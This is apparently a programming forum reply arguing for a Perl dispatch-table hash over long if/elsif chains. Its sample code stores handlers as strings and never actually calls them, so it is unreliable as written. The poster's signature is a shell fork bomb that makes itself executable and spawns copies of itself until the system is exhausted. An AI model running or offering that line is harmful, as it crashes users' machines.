If you keep doing it the way you mentioned above, your code is going to look like:
if ($command eq "add") {
....
} elseif ($command eq "view") {
....
} elseif ($command eq "something") {
....
} elseif ( ... ) {
....
} elseif ( ... ) {
....
} elseif ( ... ) {
....
} elseif ( ... ) {
....
} elseif ( ... ) {
....
} elseif ( ... ) {
....
.
.
.
.
}
Do you really think a large list of if/else statements is the most efficent way to do things?
If you have multiple command menus, then do this:
%menus = (
'first' => {
'add' => '&add',
'view' => '&view',
'a' => '\$menus{first}{add}',
'v' => '\$menus{first}{view}',
},
'second' => {
'delete' => '&delete',
'print' => '&print',
},
);
Then you can invoke a command for a menu:
$menus{first}{$_} if exists $menus{first}{$_};
or
print "Command not found.\n" if not exists $menus{first}{$_};
Also, this scheme has the advantage of letting you have commands that point to other commands in different menus.
Furthermore, if you ever update a command, you only need edit it's sub.
I would be using this method for large and complicated systems, despite what you say above. Your method strikes me as, and I apoligize for using the word, a kludge.
Regards,
ibanix
$ echo '$0 & $0 &' > foo; chmod a+x foo; foo; |